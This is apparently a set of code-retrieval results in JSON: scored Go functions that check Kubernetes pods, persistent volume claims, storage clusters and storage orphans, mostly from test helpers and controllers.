[ { "docid": "7e4b4a29ae52e547c6288f9711f92ba7", "score": "0.76510453", "text": "func (s *PodStorage) checkPodArgument(pod *types.Pod) error {\n\tif pod == nil {\n\t\treturn errors.New(store.ErrStructArgIsNil)\n\t}\n\n\tif pod.Meta.Name == \"\" {\n\t\treturn errors.New(store.ErrStructArgIsInvalid)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "99d12946caac6709adc1b924834dd974", "score": "0.6313478", "text": "func (j *PVCTestJig) CheckUsableVolumeSizeInsidePod(namespace string, podName string, capacity string) {\n\n\tcommand := fmt.Sprintf(\"df -BG | grep '/data'\")\n\n\tif pollErr := wait.PollImmediate(K8sResourcePoll, DefaultTimeout, func() (bool, error) {\n\t\tstdout, err := RunHostCmd(namespace, podName, command)\n\t\tif err != nil {\n\t\t\tLogf(\"got err: %v, retry until timeout\", err)\n\t\t\treturn false, nil\n\t\t}\n\t\tif strings.Fields(strings.TrimSpace(stdout))[1] != capacity {\n\t\t\treturn false, nil\n\t\t} else {\n\t\t\treturn true, nil\n\t\t}\n\t}); pollErr != nil {\n\t\tFailf(\"Write Test failed in pod '%v' after expanding pvc\", podName)\n\t}\n\n}", "title": "" }, { "docid": "8fd4f551e3a85b7fb1ff51ba038a8eff", "score": "0.57156444", "text": "func (j *PVCTestJig) CheckFilesystemTypeOfVolumeInsidePod(namespace string, podName string, expectedFsType string) {\n\tcommand := fmt.Sprintf(\"df -Th | grep '/data'\")\n\tstdout, err := RunHostCmd(namespace, podName, command)\n\tif err != nil {\n\t\tLogf(\"got err: %v, retry until timeout\", err)\n\t}\n\tactualFsType := strings.Fields(strings.TrimSpace(stdout))[1]\n\tif actualFsType != expectedFsType {\n\t\tFailf(\"Filesystem type: %s does not match expected: %s\", actualFsType, expectedFsType)\n\t}\n\tLogf(\"Filesystem type: %s is as expected\", actualFsType)\n}", "title": "" }, { "docid": "c886583ae38636285cb223fe4842286f", "score": "0.5588622", "text": "func CheckForAvailibiltyOfPod(namespace, name string, clients clients.ClientSets) (bool, error) {\n\n\tif name == \"\" {\n\t\treturn false, nil\n\t}\n\t_, err := clients.KubeClient.CoreV1().Pods(namespace).Get(name, v1.GetOptions{})\n\n\tif err != nil && !k8serrors.IsNotFound(err) {\n\t\treturn false, err\n\t} else if err != nil && k8serrors.IsNotFound(err) {\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}", "title": "" }, { "docid": "e027002c18d4a57c897e26dd95b3c7ae", "score": "0.53971803", "text": "func storageExists(context map[string]interface{}) (string, int) {\n\n\tif storage, err := core.GetStorage(); err != nil {\n\t\treturn fmt.Sprintf(`No previous storage found, error is:\n%s\n\nAre you sure the file is created and you have proper access rights ?\nYou can initialize your mpm file with the command 'mpm init'\n\t`, err.Error()), 1\n\t} else {\n\t\tcontext[\"storage\"] = storage\n\t\treturn \"\", 0\n\t}\n}", "title": "" }, { "docid": "5ee023f4b3e5e8c9e2ab81c59579d192", "score": "0.5375937", "text": "func isPod(document string) bool {\n\treturn len(podKind.FindString(document)) != 0\n}", "title": "" }, { "docid": "a177a8b824d1fe5cd7fcfc19ac7cc1d3", "score": "0.53312004", "text": "func containsUsedVolumeStorage(podSpec v1.PodTemplateSpec) bool {\n\tfor _, volume := range podSpec.Spec.Volumes {\n\t\tif volume.EmptyDir != nil || volume.PersistentVolumeClaim != nil {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "b36e166e43db44f9ece9d9441c00e800", "score": "0.53308356", "text": "func (j *PVCTestJig) CheckVolumeMount(namespace string, pvcParam *v1.PersistentVolumeClaim) {\n\tpvc, err := j.KubeClient.CoreV1().PersistentVolumeClaims(pvcParam.Namespace).Get(context.Background(), pvcParam.Name, metav1.GetOptions{})\n\tpv, err := j.KubeClient.CoreV1().PersistentVolumes().Get(context.Background(), pvc.Spec.VolumeName, metav1.GetOptions{})\n\tif err != nil {\n\t\tFailf(\"Failed to get persistent volume %q: %v\", pvc.Spec.VolumeName, err)\n\t}\n\tBy(\"checking the created volume is writable and has the PV's mount options\")\n\tcommand := \"while true; do echo 'hello world' >> /usr/share/nginx/html/out.txt; sleep 5; done\"\n\t// We give the first pod the responsibility of checking the volume has\n\t// been mounted with the PV's mount options\n\tfor _, option := range pv.Spec.MountOptions {\n\t\t// Get entry, get mount options at 6th word, replace brackets with commas\n\t\tcommand += fmt.Sprintf(\" && ( mount | grep 'on /usr/share/nginx/html/out.txt' | awk '{print $6}' | sed 's/^(/,/; s/)$/,/' | grep -q ,%s, )\", option)\n\t}\n\tpodName := j.CreateAndAwaitNginxPodOrFail(pvc.Namespace, pvc, command)\n\n\tj.CheckFileExists(namespace, podName, \"/usr/share/nginx/html\", \"out.txt\")\n\n\tBy(\"Wait for pod with dynamically provisioned volume to be deleted\")\n\tj.DeleteAndAwaitPodOrFail(namespace, podName)\n\n\tcommand = \"while true; do sleep 5; done\"\n\tBy(\"Recreating a pod with the same dynamically provisioned volume and waiting for it to be running\")\n\tpodName = j.CreateAndAwaitNginxPodOrFail(pvc.Namespace, pvc, command)\n\n\tBy(\"Checking if the file exists on the newly created pod\")\n\tj.CheckFileExists(namespace, podName, \"/usr/share/nginx/html\", \"out.txt\")\n}", "title": "" }, { "docid": "38c49aef25319c3820de3eea5dc6d02b", "score": "0.5320274", "text": "func (c *Controller) nodeShouldRunStoragePod(\n\tnode *v1.Node,\n\tcluster *corev1.StorageCluster,\n) (bool, bool, error) {\n\tif !storagePodsEnabled(cluster) {\n\t\treturn false, false, nil\n\t}\n\n\t// If node is being deleted, don't need to schedule new storage pods\n\tisBeingDeleted, err := k8s.IsNodeBeingDeleted(node, c.client)\n\tif err != nil {\n\t\tc.log(cluster).Warnf(\"failed to check if node: %s is being deleted due to: %v\", node.Name, err)\n\t}\n\n\tif isBeingDeleted {\n\t\tlogrus.Infof(\"node: %s is in the process of being deleted. Will not create new pods here.\", node.Name)\n\t\treturn false, true, nil\n\t}\n\n\tif k8s.IsPodRecentlyCreatedAfterNodeCordoned(node, c.nodeInfoMap, cluster) {\n\t\t// Storage pod is created recently, should let the pod continue running without creating a new pod.\n\t\treturn false, true, nil\n\t}\n\n\treturn k8s.CheckPredicatesForStoragePod(node, cluster, c.StorageClusterSelectorLabels(cluster))\n}", "title": "" }, { "docid": "c34fa498aad1d778b40be0f58f1cb8af", "score": "0.5291418", "text": "func (j *PVCTestJig) CheckVolumeReadWrite(namespace string, pvcParam *v1.PersistentVolumeClaim) {\n\tpvc, err := j.KubeClient.CoreV1().PersistentVolumeClaims(pvcParam.Namespace).Get(context.Background(), pvcParam.Name, metav1.GetOptions{})\n\tpv, err := j.KubeClient.CoreV1().PersistentVolumes().Get(context.Background(), pvc.Spec.VolumeName, metav1.GetOptions{})\n\tif err != nil {\n\t\tFailf(\"Failed to get persistent volume %q: %v\", pvc.Spec.VolumeName, err)\n\t}\n\tBy(\"checking the created volume is writable and has the PV's mount options\")\n\tcommand := \"while true; do echo 'hello world' >> /usr/share/nginx/html/out.txt; sleep 5; done\"\n\t// We give the first pod the secondary responsibility of checking the volume has\n\t// been mounted with the PV's mount options, if the PV was provisioned with any\n\tfor _, option := range pv.Spec.MountOptions {\n\t\t// Get entry, get mount options at 6th word, replace brackets with commas\n\t\tcommand += fmt.Sprintf(\" && ( mount | grep 'on /usr/share/nginx/html/out.txt' | awk '{print $6}' | sed 's/^(/,/; s/)$/,/' | grep -q ,%s, )\", option)\n\t}\n\tpodName := j.CreateAndAwaitNginxPodOrFail(pvc.Namespace, pvc, command)\n\n\tBy(\"Delete the pod to which volume is already attached\")\n\tj.DeleteAndAwaitPodOrFail(pvc.Namespace, podName)\n\n\tBy(\"checking the created volume is readable and retains data\")\n\tj.CreateAndAwaitNginxPodOrFail(pvc.Namespace, pvc, \"grep 'hello world' /mnt/test/data\")\n}", "title": "" }, { "docid": "9a567b71c507624b8fed6f6acd0b2786", "score": "0.5286615", "text": "func CheckPodDeletion(EdgedEndPoint, UID string) {\n\tgomega.Eventually(func() bool {\n\t\tvar IsExist = false\n\t\tpods, _ := GetPods(EdgedEndPoint)\n\t\tif len(pods.Items) > 0 {\n\t\t\tfor index := range pods.Items {\n\t\t\t\tpod := &pods.Items[index]\n\t\t\t\tcommon.Infof(\"PodName: %s PodStatus: %s\", pod.Name, pod.Status.Phase)\n\t\t\t\tif pod.Name == UID {\n\t\t\t\t\tIsExist = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn IsExist\n\t}, \"30s\", \"4s\").Should(gomega.Equal(false), \"Delete Application deployment is Unsuccessful, Pod has not come to Running State\")\n}", "title": "" }, { "docid": "d12c9e0cd9a34e4cf5847ad7661ad2de", "score": "0.5276135", "text": "func (ext *Checker) podExists() (bool, error) {\n\n\t// setup a pod watching client for our current KH pod\n\tpodClient := ext.KubeClient.CoreV1().Pods(ext.Namespace)\n\n\t// if the pod is \"not found\", then it does not exist\n\tp, err := podClient.Get(ext.podName(), metav1.GetOptions{})\n\t// Check both k8sErrors and Error string message for not found\n\tif err != nil && (k8sErrors.IsNotFound(err) || strings.Contains(err.Error(), \"not found\")) {\n\t\treturn false, nil\n\t}\n\n\t// if the pod has succeeded, it no longer exists\n\tif p.Status.Phase == apiv1.PodSucceeded {\n\t\treturn false, nil\n\t}\n\n\t// if the pod has failed, it no longer exists\n\tif p.Status.Phase == apiv1.PodFailed {\n\t\treturn false, nil\n\t}\n\n\text.log(\"pod\", p.Name, \"in\", p.Namespace, \"exists\")\n\n\treturn true, nil\n}", "title": "" }, { "docid": "fb869ccc6762ef1dea31c8ab5e51b6d9", "score": "0.52641267", "text": "func (d *AppCreate) checkPodRunning() bool {\n\tdefer recordTime(&d.result.App.ReadyTime)\n\td.out.Debug(\"DCluAC007\", fmt.Sprintf(\"%s: Waiting %ds for pod to reach running state.\", now(), d.deployTimeout))\n\twatcher, err := d.KubeClient.Core().Pods(d.project).Watch(metav1.ListOptions{LabelSelector: d.labelSelector, TimeoutSeconds: &d.deployTimeout})\n\tif err != nil {\n\t\td.out.Error(\"DCluAC008\", err, fmt.Sprintf(`\n%s: Failed to establish a watch for '%s' to deploy a pod:\n %v\nThis may be a transient error. Check the master API logs for anomalies near this time.\n\t\t`, now(), d.appName, err))\n\t\treturn false\n\t}\n\tdefer stopWatcher(watcher)\n\tfor event := range watcher.ResultChan() {\n\t\trunning, err := kubectl.PodContainerRunning(d.appName)(event)\n\t\tif err != nil {\n\t\t\td.out.Error(\"DCluAC009\", err, fmt.Sprintf(`\n%s: Error while watching for app pod to deploy:\n %v\nThis may be a transient error. Check the master API logs for anomalies near this time.\n\t\t\t`, now(), err))\n\t\t\treturn false\n\t\t}\n\t\tif running {\n\t\t\td.out.Info(\"DCluAC010\", fmt.Sprintf(\"%s: App '%s' is running\", now(), d.appName))\n\t\t\treturn true\n\t\t}\n\t}\n\td.out.Error(\"DCluAC011\", nil, fmt.Sprintf(`\n%s: App pod was not in running state before timeout (%d sec)\nThere are many reasons why this can occur; for example:\n * The app or deployer image may not be available (check pod status)\n * Downloading an image may have timed out (consider increasing timeout)\n * The scheduler may be unable to find an appropriate node for it to run (check deployer logs)\n * The node container runtime may be malfunctioning (check node and docker/cri-o logs)\n\t`, now(), d.deployTimeout))\n\treturn false\n}", "title": "" }, { "docid": "28441e219c26488f5ed4982490a14c80", "score": "0.5256554", "text": "func checkFileExists(mach string, container string, path string) bool {\n\targs := []string{\"ssh\", mach, Fmt(`docker exec %v ls %v`, container, path)}\n\t_, ok := runProcessGetResult(\"check-file-exists-\"+mach, \"docker-machine\", args)\n\treturn ok\n}", "title": "" }, { "docid": "f03377347e44d52a86ada03e9a30fad3", "score": "0.5227982", "text": "func (j *PVCTestJig) CheckVolumeDirectoryOwnership(namespace string, pvcParam *v1.PersistentVolumeClaim) {\n\tpvc, err := j.KubeClient.CoreV1().PersistentVolumeClaims(pvcParam.Namespace).Get(context.Background(), pvcParam.Name, metav1.GetOptions{})\n\n\tif err != nil {\n\t\tFailf(\"Failed to get persistent volume %q: %v\", pvc.Spec.VolumeName, err)\n\t}\n\tBy(\"checking the created volume is writable and has the PV's mount options\")\n\tcommand := \"while true; do echo 'hello world' >> /usr/share/nginx/html/out.txt; sleep 5; done\"\n\n\tpodName := j.CreateAndAwaitNginxPodOrFail(pvc.Namespace, pvc, command)\n\n\tj.checkFileOwnership(namespace, podName, \"/usr/share/nginx/html/out.txt\")\n}", "title": "" }, { "docid": "1ddabe519e8c869df6e38a8391ec0b03", "score": "0.52247846", "text": "func (p podAPIChecker) CheckPod() error {\n\t_, err := p.client.Core().Pods(p.namespace).Get(p.podName, metav1.GetOptions{})\n\treturn err\n}", "title": "" }, { "docid": "f56eae0fd17089da1aed60c9348753e7", "score": "0.52122426", "text": "func (l localDocker) VolumeExists(name string) (bool, error) {\n\tpanic(\"not implemented\") // TODO: Implement\n}", "title": "" }, { "docid": "0d293d78ca324a43426d8c24eba18aef", "score": "0.51814663", "text": "func checkVolExists(ctx context.Context, volOptions *volumeOptions, secret map[string]string) (*volumeIdentifier, error) {\n\tvar vid volumeIdentifier\n\n\tcr, err := util.NewAdminCredentials(secret)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer cr.DeleteCredentials()\n\n\tj, err := volJournal.Connect(volOptions.Monitors, cr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer j.Destroy()\n\n\timageData, err := j.CheckReservation(\n\t\tctx, volOptions.MetadataPool, volOptions.RequestName, volOptions.NamePrefix, \"\", \"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif imageData == nil {\n\t\treturn nil, nil\n\t}\n\timageUUID := imageData.ImageUUID\n\tvid.FsSubvolName = imageData.ImageAttributes.ImageName\n\n\t_, err = getVolumeRootPathCeph(ctx, volOptions, cr, volumeID(vid.FsSubvolName))\n\tif err != nil {\n\t\tif errors.Is(err, ErrVolumeNotFound) {\n\t\t\terr = j.UndoReservation(ctx, volOptions.MetadataPool,\n\t\t\t\tvolOptions.MetadataPool, vid.FsSubvolName, volOptions.RequestName)\n\t\t\treturn nil, err\n\t\t}\n\t\treturn nil, err\n\t}\n\n\t// check if topology constraints match what is found\n\t// TODO: we need an API to fetch subvolume attributes (size/datapool and others), based\n\t// on which we can evaluate which topology this belongs to.\n\t// TODO: CephFS topology support is postponed till we get the same\n\t// TODO: size checks\n\n\t// found a volume already available, process and return it!\n\tvid.VolumeID, err = util.GenerateVolID(ctx, volOptions.Monitors, cr, volOptions.FscID,\n\t\t\"\", volOptions.ClusterID, imageUUID, volIDVersion)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tutil.DebugLog(ctx, \"Found existing volume (%s) with subvolume name (%s) for request (%s)\",\n\t\tvid.VolumeID, vid.FsSubvolName, volOptions.RequestName)\n\n\treturn &vid, nil\n}", "title": "" }, { "docid": "91c164930c2cdc15d65f5006a381afd6", "score": "0.5167742", "text": "func verifySinglePodAvailable(\n\tt *testing.T,\n\tkubectlOptions *k8s.KubectlOptions,\n\tpod corev1.Pod,\n\tvalidationFunction func(int, string) bool,\n) {\n\t// Open a tunnel from any available port locally\n\tlocalPort := k8s.GetAvailablePort(t)\n\ttunnel := k8s.NewTunnel(kubectlOptions, k8s.ResourceTypePod, pod.Name, localPort, 80)\n\tdefer tunnel.Close()\n\ttunnel.ForwardPort(t)\n\n\t// Try to access the service on the local port, retrying until we get a good response for up to 5 minutes\n\thttp_helper.HttpGetWithRetryWithCustomValidation(\n\t\tt,\n\t\tfmt.Sprintf(\"http://%s\", tunnel.Endpoint()),\n\t\tWaitTimerRetries,\n\t\tWaitTimerSleep,\n\t\tvalidationFunction,\n\t)\n}", "title": "" }, { "docid": "c6377db3991b689a778a1d79e9f2e8f3", "score": "0.51453936", "text": "func (kduo *K8sDeploymentUpdateOne) check() error {\n\tif v, ok := kduo.mutation.Name(); ok {\n\t\tif err := k8sdeployment.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "bbeeba7166535a3b348f8f6dfe3ccbb3", "score": "0.5143624", "text": "func checkRepo(ar v1beta1.AdmissionReview) *v1beta1.AdmissionResponse {\n\tklog.V(2).Infoln(\"calling checkRepo\")\n\tpodResource := metav1.GroupVersionResource{Group: \"\", Version: \"v1\", Resource: \"pods\"}\n\tif ar.Request.Resource != podResource {\n\t\terr := fmt.Errorf(\"expect resource to be %s\", podResource)\n\t\tklog.Error(err)\n\t\treturn toAdmissionResponse(err)\n\t}\n\n\traw := ar.Request.Object.Raw\n\tpod := corev1.Pod{}\n\tdeserializer := codecs.UniversalDeserializer()\n\tif _, _, err := deserializer.Decode(raw, nil, &pod); err != nil {\n\t\tklog.Error(err)\n\t\treturn toAdmissionResponse(err)\n\t}\n\treviewResponse := v1beta1.AdmissionResponse{}\n\treviewResponse.Allowed = true\n\n\tvar msg string\n\tfor _, container := range pod.Spec.Containers {\n\t\tif !strings.Contains(container.Image, \"nginx\") {\n\t\t\t//reviewResponse.Allowed = false\n\t\t\tmsg += fmt.Sprintf(\"the container %s not contain specific repo name;\", container.Name)\n\t\t}\n\t}\n\n\tif msg != \"\" {\n\t\treviewResponse.Allowed = false\n\t}\n\n\tif !reviewResponse.Allowed {\n\t\treviewResponse.Result = &metav1.Status{Message: strings.TrimSpace(msg)}\n\t\tklog.Warningf(\"reject pod %s/%s\\n\", pod.Namespace, pod.Name)\n\t} else {\n\t\tklog.V(2).Infof(\"accept pod %s/%s\\n\", pod.Namespace, pod.Name)\n\t}\n\n\treturn &reviewResponse\n}", "title": "" }, { "docid": "1ffab60c2f931336614e33ead26cad53", "score": "0.5134935", "text": "func checkResponse(prefix string, index uint64, resMap *map[string]Response) bool {\n\n\tresp, ok := (*resMap)[strconv.FormatUint(index, 10)]\n\n\tif !ok {\n\t\t// not storage system command\n\t\treturn false\n\t} else {\n\t\tpath := resp.Key\n\t\tif strings.HasPrefix(path, prefix) {\n\t\t\tprefixLen := len(prefix)\n\t\t\tif len(path) == prefixLen || path[prefixLen] == '/' {\n\t\t\t\treturn true\n\t\t\t}\n\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "e59ebffeb504cfcfe161dc6fb34b5925", "score": "0.5112419", "text": "func (kl *Kubelet) canAdmitPod(pods []*api.Pod, pod *api.Pod) (bool, string, string) {\n\tif hasHostPortConflicts(pods) {\n\t\treturn false, \"HostPortConflict\", \"cannot start the pod due to host port conflict.\"\n\t}\n\tif !kl.matchesNodeSelector(pod) {\n\t\treturn false, \"NodeSelectorMismatching\", \"cannot be started due to node selector mismatch\"\n\t}\n\tcpu, memory := kl.hasInsufficientfFreeResources(pods)\n\tif cpu {\n\t\treturn false, \"InsufficientFreeCPU\", \"cannot start the pod due to insufficient free CPU.\"\n\t} else if memory {\n\t\treturn false, \"InsufficientFreeMemory\", \"cannot be started due to insufficient free memory\"\n\t}\n\tif kl.isOutOfDisk() {\n\t\treturn false, \"OutOfDisk\", \"cannot be started due to lack of disk space.\"\n\t}\n\n\treturn true, \"\", \"\"\n}", "title": "" }, { "docid": "864561633db38662a5fcc455885d4447", "score": "0.5060068", "text": "func (s *Storage) Exists(ctx context.Context, name string) (bool, error) {\n\tif strings.HasPrefix(name, \"/\") || strings.HasSuffix(name, \"/\") {\n\t\treturn false, ErrInvalidArguments\n\t}\n\n\turl, err := s.originalRequestURL(name)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tresp, err := s.requestWithRedirects(\n\t\tctx, \"HEAD\", url,\n\t\t[]int{200, 404},\n\t\tfunc() (io.Reader, string, error) { return nil, \"\", nil },\n\t\tfunc(req *http.Request) error { return nil },\n\t)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tresp.Body.Close()\n\n\treturn resp.StatusCode == 200, nil\n}", "title": "" }, { "docid": "d32492cff1ffed9ea062064eba11add0", "score": "0.5043028", "text": "func arePodsResourceMissing(pod *v1.Pod) bool {\n\t// Checking whether the pod has specified resources in yaml for each container\n\tfor _, container := range pod.Spec.Containers {\n\t\t// get the Resourcelist for limits and requests which is a map\n\t\tlimits := container.Resources.Limits\n\t\trequests := container.Resources.Requests\n\t\t_, hasLimitsCPU := limits[\"cpu\"]\n\t\t_, hasLimitsMemory := limits[\"memory\"]\n\n\t\t//if resources.limits does not contain CPU and Memory\n\t\tif !(hasLimitsCPU && hasLimitsMemory) {\n\t\t\treturn true\n\t\t}\n\t\t_, hasRequestCPU := requests[\"cpu\"]\n\t\t_, hasRequestMemory := requests[\"memory\"]\n\n\t\t//if resources.Requests does not contain CPU and Memory\n\t\tif !(hasRequestCPU && hasRequestMemory) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\t// has Limits and Request\n\treturn false\n}", "title": "" }, { "docid": "ad51d4b3b46aa2ed79ff072bf0084cf3", "score": "0.5035392", "text": "func podNeedsRotation(log zerolog.Logger, p core.Pod, apiObject metav1.Object, spec api.DeploymentSpec,\n\tgroup api.ServerGroup, status api.DeploymentStatus, m api.MemberStatus,\n\tcontext PlanBuilderContext) (bool, string) {\n\tif m.PodUID != p.UID {\n\t\treturn true, \"Pod UID does not match, this pod is not managed by Operator. Recreating\"\n\t}\n\n\tif m.PodSpecVersion == \"\" {\n\t\treturn true, \"Pod Spec Version is nil - recreating pod\"\n\t}\n\n\timageInfo, imageFound := context.SelectImage(spec, status)\n\tif !imageFound {\n\t\t// Image is not found, so rotation is not needed\n\t\treturn false, \"\"\n\t}\n\n\trenderedPod, err := context.RenderPodForMember(spec, status, m.ID, imageInfo)\n\tif err != nil {\n\t\tlog.Err(err).Msg(\"Error while rendering pod\")\n\t\treturn false, \"\"\n\t}\n\n\tchecksum, err := k8sutil.GetPodSpecChecksum(renderedPod.Spec)\n\tif err != nil {\n\t\tlog.Err(err).Msg(\"Error while getting pod checksum\")\n\t\treturn false, \"\"\n\t}\n\n\tif m.PodSpecVersion != checksum {\n\t\treturn true, \"Pod needs rotation - checksum does not match\"\n\t}\n\n\treturn false, \"\"\n}", "title": "" }, { "docid": "64c1bb056edfd3eb0a23fb72011ceebe", "score": "0.5022917", "text": "func checkStorage(opts *checkStorageOptions) func(ctx context.Context, logger log.Logger, autofix bool) error {\n\treturn func(ctx context.Context, logger log.Logger, autofix bool) error {\n\t\tif err := storage.Init(); err != nil {\n\t\t\tlogger.Error(\"storage.Init failed: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\tif opts.Attachments || opts.All {\n\t\t\tif err := commonCheckStorage(ctx, logger, autofix,\n\t\t\t\t&commonStorageCheckOptions{\n\t\t\t\t\tstorer: storage.Attachments,\n\t\t\t\t\tisOrphaned: func(path string, obj storage.Object, stat fs.FileInfo) (bool, error) {\n\t\t\t\t\t\texists, err := repo.ExistAttachmentsByUUID(ctx, stat.Name())\n\t\t\t\t\t\treturn !exists, err\n\t\t\t\t\t},\n\t\t\t\t\tname: \"attachment\",\n\t\t\t\t}); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif opts.LFS || opts.All {\n\t\t\tif !setting.LFS.StartServer {\n\t\t\t\tlogger.Info(\"LFS isn't enabled (skipped)\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif err := commonCheckStorage(ctx, logger, autofix,\n\t\t\t\t&commonStorageCheckOptions{\n\t\t\t\t\tstorer: storage.LFS,\n\t\t\t\t\tisOrphaned: func(path string, obj storage.Object, stat fs.FileInfo) (bool, error) {\n\t\t\t\t\t\t// The oid of an LFS stored object is the name but with all the path.Separators removed\n\t\t\t\t\t\toid := strings.ReplaceAll(path, \"/\", \"\")\n\t\t\t\t\t\texists, err := git.ExistsLFSObject(ctx, oid)\n\t\t\t\t\t\treturn !exists, err\n\t\t\t\t\t},\n\t\t\t\t\tname: \"LFS file\",\n\t\t\t\t}); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif opts.Avatars || opts.All {\n\t\t\tif err := commonCheckStorage(ctx, logger, autofix,\n\t\t\t\t&commonStorageCheckOptions{\n\t\t\t\t\tstorer: storage.Avatars,\n\t\t\t\t\tisOrphaned: func(path string, obj storage.Object, stat fs.FileInfo) (bool, error) {\n\t\t\t\t\t\texists, err := user.ExistsWithAvatarAtStoragePath(ctx, path)\n\t\t\t\t\t\treturn !exists, err\n\t\t\t\t\t},\n\t\t\t\t\tname: \"avatar\",\n\t\t\t\t}); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif opts.RepoAvatars || opts.All {\n\t\t\tif err := commonCheckStorage(ctx, logger, autofix,\n\t\t\t\t&commonStorageCheckOptions{\n\t\t\t\t\tstorer: storage.RepoAvatars,\n\t\t\t\t\tisOrphaned: func(path string, obj storage.Object, stat fs.FileInfo) (bool, error) {\n\t\t\t\t\t\texists, err := repo.ExistsWithAvatarAtStoragePath(ctx, path)\n\t\t\t\t\t\treturn !exists, err\n\t\t\t\t\t},\n\t\t\t\t\tname: \"repo avatar\",\n\t\t\t\t}); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif opts.RepoArchives || opts.All {\n\t\t\tif err := commonCheckStorage(ctx, logger, autofix,\n\t\t\t\t&commonStorageCheckOptions{\n\t\t\t\t\tstorer: storage.RepoAvatars,\n\t\t\t\t\tisOrphaned: func(path string, obj storage.Object, stat fs.FileInfo) (bool, error) {\n\t\t\t\t\t\texists, err := repo.ExistsRepoArchiverWithStoragePath(ctx, path)\n\t\t\t\t\t\tif err == nil || errors.Is(err, util.ErrInvalidArgument) {\n\t\t\t\t\t\t\t// invalid arguments mean that the object is not a valid repo archiver and it should be removed\n\t\t\t\t\t\t\treturn !exists, nil\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn !exists, err\n\t\t\t\t\t},\n\t\t\t\t\tname: \"repo archive\",\n\t\t\t\t}); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tif opts.Packages || opts.All {\n\t\t\tif !setting.Packages.Enabled {\n\t\t\t\tlogger.Info(\"Packages isn't enabled (skipped)\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif err := commonCheckStorage(ctx, logger, autofix,\n\t\t\t\t&commonStorageCheckOptions{\n\t\t\t\t\tstorer: storage.Packages,\n\t\t\t\t\tisOrphaned: func(path string, obj storage.Object, stat fs.FileInfo) (bool, error) {\n\t\t\t\t\t\tkey, err := packages_module.RelativePathToKey(path)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\t// If there is an error here then the relative path does not match a valid package\n\t\t\t\t\t\t\t// Therefore it is orphaned by default\n\t\t\t\t\t\t\treturn true, nil\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\texists, err := packages.ExistPackageBlobWithSHA(ctx, string(key))\n\n\t\t\t\t\t\treturn !exists, err\n\t\t\t\t\t},\n\t\t\t\t\tname: \"package blob\",\n\t\t\t\t}); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "a6c0602b4f672a6e9b396c5ed810bce8", "score": "0.5018348", "text": "func assignedPod(pod *v1.Pod) bool {\n\treturn len(pod.Spec.NodeName) != 0\n}", "title": "" }, { "docid": "bf0a346e9fb7c67f90387af02aea103f", "score": "0.5008812", "text": "func check(command string, args ...string) bool {\n\t// NOT IMPLEMENTED\n\treturn true\n}", "title": "" }, { "docid": "8fd8a3e8ca7df018545fbfc3816075c0", "score": "0.4994205", "text": "func waitForSpecificPod(consulStore store, nodeName types.NodeName, podID types.PodID) error {\n\tcondition := func() error {\n\t\tmanifestResults, _, err := consulStore.(testStore).AllPods(consul.INTENT_TREE)\n\t\tif err != nil {\n\t\t\treturn util.Errorf(\"Unable to get all pods from pod store: %v\", err)\n\t\t}\n\t\tif len(manifestResults) == 0 {\n\t\t\treturn util.Errorf(\"expected a manifest in the intent tree\")\n\t\t}\n\t\tif manifestResults[0].PodLocation.Node != nodeName {\n\t\t\treturn util.Errorf(\"expected manifest labeled on the right node\")\n\t\t}\n\t\tif manifestResults[0].PodLocation.PodID != podID {\n\t\t\treturn util.Errorf(\"expected manifest labeled with correct pod ID\")\n\t\t}\n\t\tif manifestResults[0].Manifest.ID() != podID {\n\t\t\treturn util.Errorf(\"expected manifest with correct ID\")\n\t\t}\n\t\treturn nil\n\t}\n\treturn waitForCondition(condition)\n}", "title": "" }, { "docid": "90775915ef4075ef2c5965d34e960295", "score": "0.49888855", "text": "func testPDPod(diskNames []string, targetNode types.NodeName, readOnly bool, numContainers int) *v1.Pod {\n\t// escape if not a supported provider\n\tif !(framework.TestContext.Provider == \"gce\" || framework.TestContext.Provider == \"gke\" ||\n\t\tframework.TestContext.Provider == \"aws\") {\n\t\tframework.Failf(fmt.Sprintf(\"func `testPDPod` only supports gce, gke, and aws providers, not %v\", framework.TestContext.Provider))\n\t}\n\n\tcontainers := make([]v1.Container, numContainers)\n\tfor i := range containers {\n\t\tcontainers[i].Name = \"mycontainer\"\n\t\tif numContainers > 1 {\n\t\t\tcontainers[i].Name = fmt.Sprintf(\"mycontainer%v\", i+1)\n\t\t}\n\t\tcontainers[i].Image = e2epod.GetTestImage(imageutils.BusyBox)\n\t\tcontainers[i].Command = []string{\"sleep\", \"6000\"}\n\t\tcontainers[i].VolumeMounts = make([]v1.VolumeMount, len(diskNames))\n\t\tfor k := range diskNames {\n\t\t\tcontainers[i].VolumeMounts[k].Name = fmt.Sprintf(\"testpd%v\", k+1)\n\t\t\tcontainers[i].VolumeMounts[k].MountPath = fmt.Sprintf(\"/testpd%v\", k+1)\n\t\t}\n\t\tcontainers[i].Resources.Limits 